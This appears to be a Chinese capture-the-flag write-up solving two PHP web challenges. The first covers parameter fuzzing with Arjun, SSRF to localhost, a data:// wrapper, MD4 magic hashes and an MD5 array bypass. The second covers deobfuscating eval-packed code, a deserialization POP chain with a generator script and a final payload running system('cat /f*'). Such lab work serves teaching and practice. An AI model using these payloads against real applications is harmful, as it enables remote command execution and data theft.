CTFShow-青少年CTF-PHP反序列化

一、穿梭隐藏的密钥(代码审计)

在一次惊心动魄的太空任务中,你发现了一个隐藏在偏远太空站内部的高度机密的加密密钥。这个密钥可能拥有解锁重要情报的能力,但获取它需要绕过多重安全防护,利用专业知识突破层层难关。

1.1 初始页面分析(Challenge One 前置)

查看页面源代码,核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<body oncontextmenu="return false">
<div id="text">click to me,Baby</div>

<script>
// 禁用F12快捷键
document.addEventListener('keydown', function(event) {
if (event.key === 'F12') {
event.preventDefault();
}
});

var text = document.getElementById('text');
var customBackground = document.createElement('img');
customBackground.setAttribute('id', 'custom-background');
customBackground.src = './image/2.png';
document.body.appendChild(customBackground);

// 点击文本跳转至目标页面
text.addEventListener('click', function() {
window.location.href = 'c3s4f.php'; // 核心跳转链接
});

// 鼠标悬浮时文本随机移动(防点击)
text.addEventListener('mouseover', function() {
moveText();
});

function moveText() {
var windowWidth = window.innerWidth;
var windowHeight = window.innerHeight;
var newPositionX = Math.random() * (windowWidth - text.offsetWidth);
var newPositionY = Math.random() * (windowHeight - text.offsetHeight);
text.style.left = newPositionX + 'px';
text.style.top = newPositionY + 'px';
}
</script>
</body>

关键操作:FUZZ参数

通过提示需FUZZ c3s4f.phpsecret.php 的参数,使用 Arjun工具 进行爆破,常用命令如下:

  1. 指定URL爆破:arjun -u http://challenge.qsnctf.com:32324/c3s4f.php
  2. 导入字典爆破:arjun -i targets.txt
  3. 指定POST方法爆破:arjun -u http://challenge.qsnctf.com:32324/c3s4f.php -m POST

爆破结果截图:

突破本地访问限制(SSRF)

尝试访问时提示“仅允许本地地址访问”,常规的 X-Forwarded-For: 127.0.0.1 无效,需利用SSRF漏洞访问本地文件:

  • 构造URL:?shell=http://localhost/secret.php

1.2 secret.php 代码分析

访问后获取 secret.php 源代码,包含3个连续挑战,核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
show_source(__FILE__);
include('k4y.php'); // 包含密钥文件
include_once('flag.php'); // 包含flag文件


// Challenge 1:文件内容匹配
if (isset($_GET['DrKn'])) {
$text = $_GET['DrKn'];
if(@file_get_contents($text) == $key) { // 需读取内容等于$key
echo "有点东西呢"."</br>".$key1."</br>"; // 输出Challenge 2的参数名
} else {
die("貌似状态不在线啊(╯_╰)</br>");
}
}


// Challenge 2:MD4自哈希
if (isset($_GET[$key1])) { // $key1为Challenge 1输出的参数名
$damei = $_GET[$key1];
if (hash("md4", $damei) == $damei) { // 满足 md4(值) = 值
echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3; // 输出Challenge 3的两个参数名
} else {
die("达咩哟~");
}
}


// Challenge 3:MD5碰撞(数组绕过)
if (isset($_POST[$key2]) && isset($_POST[$key3])) { // $key2、$key3为Challenge 2输出的参数名
$user = $_POST[$key2];
$pass = $_POST[$key3];

if (strlen($user) > 4 || strlen($pass) > 5) { // 长度限制:user≤4,pass≤5
die("还得练");
}
if ($user !== $pass && md5($user) === md5($pass)) { // 非全等但MD5哈希全等
echo "还不错哦"."$flag"; // 输出flag
}
else {
die("nonono") ;
}
}

?>

1.3 各挑战解决方案

1.3.1 Challenge 1:文件内容匹配

  • 核心需求:通过 file_get_contents 读取内容等于 $keyk4y.php 中的密钥)。
  • Payload:利用 data:// 协议构造内容,?DrKn=data://text/plain,MSIBLGMSIBLG$key 的值)。
  • 结果:输出 key1(Challenge 2的参数名),截图如下:

1.3.2 Challenge 2:MD4自哈希

  • 核心需求:找到值 damei,满足 hash("md4", $damei) == $damei
  • 可用值(URL中需将 _ 替换为 [):
    • 0e2512880190e8749561636419612710694043324090e0012333333333333345577788890e434041524824285414215559233446
    • M[ore.8=0e001233333333333334557778889
  • 结果:输出 key2key3(Challenge 3的两个参数名)。

1.3.3 Challenge 3:MD5碰撞(数组绕过)

  • 核心原理:PHP中数组的MD5哈希值均为 0,可满足“非全等但哈希全等”。
  • 限制:user 长度≤4,pass 长度≤5(数组格式均满足)。
  • Payload(POST提交):wtf[]=1&mC[]=2wtfmC 为Challenge 2输出的 key2key3)。
  • 结果:成功输出flag,截图如下:

二、雏形系统(PHP反序列化漏洞)

场景:工程师小王离职前留下一个登录页面雏形,需通过代码审计发现反序列化漏洞获取权限。

2.1 初始操作:获取源码

访问登录页面后,通过FUZZ发现 www.zip,下载得到网站源码,核心文件为登录页面的PHP文件。

2.2 代码解密(混淆代码分析)

登录页面源码存在变量混淆,核心代码如下:

1
2
3
4
5
6
7
8
9
10
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>

解密方法:替换 evalecho

将混淆代码中的 eval 改为 echo,执行后得到真实源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
error_reporting(0);

// 关键类1:触发__toString
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass); // 调用$next类的静态方法PLZ(不存在,触发__callStatic)
}
}

// 关键类2:触发反序列化入口
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){ // 反序列化时自动执行
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen') // 满足条件则输出$intention
{
echo $this->intention; // $intention为shi类实例,触发__toString
}
echo "18岁";
}
}

// 关键类3:触发命令执行
class Demo
{
public $a;
static function __callStatic($action, $do) // 调用不存在的静态方法时执行
{
global $b;
$b($do[0]); // $b为POST传入的password,执行$b($do[0])(命令执行)
}
}

$b = $_POST['password']; // 接收命令执行函数(如system)
$a = $_POST['username']; // 接收反序列化字符串
@unserialize($a); // 反序列化入口
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
echo("登录成功");
}

?>

2.3 漏洞利用链分析

反序列化调用链流程图

1
2
3
4
5
6
7
8
9
10
graph TD
A[反序列化$a(wo类实例)] --> B[触发wo::__destruct]
B --> C[调用wo::inspect方法]
C --> D{检查$sex=='boy'且$age=='eighteen'}
D -->|条件满足| E[echo $intention(shi类实例)]
E --> F[触发shi::__toString]
F --> G[调用shi->next::PLZ(shi->pass)(PLZ方法不存在)]
G --> H[触发Demo::__callStatic]
H --> I[执行全局变量$b($do[0])]
I --> J[$b为POST传入的system,$do[0]为shi->pass(命令)]

2.4 POC与Payload

2.4.1 POC代码(生成序列化字符串)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
// 定义所需类(需与目标环境一致)
class shi{}
class wo{}
class Demo{}

// 构造调用链
$demo = new Demo(); // 最终触发__callStatic的类
$shi = new shi(); // 触发__toString的类
$wo = new wo(); // 反序列化入口类

// 给wo类赋值,满足inspect条件
$wo->sex = 'boy';
$wo->age = 'eighteen';
$wo->intention = $shi; // 关联shi类

// 给shi类赋值,关联Demo类和命令
$shi->next = $demo; // 关联Demo类(调用其PLZ方法)
$shi->pass = 'cat /f*'; // 要执行的命令(读取所有以f开头的文件,大概率包含flag)

// 生成序列化字符串
echo serialize($wo);
?>

2.4.2 最终Payload(POST提交)

  • username(序列化字符串):
    O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}
  • password(命令执行函数):
    system

提交后执行 system("cat /f*"),读取flag文件内容。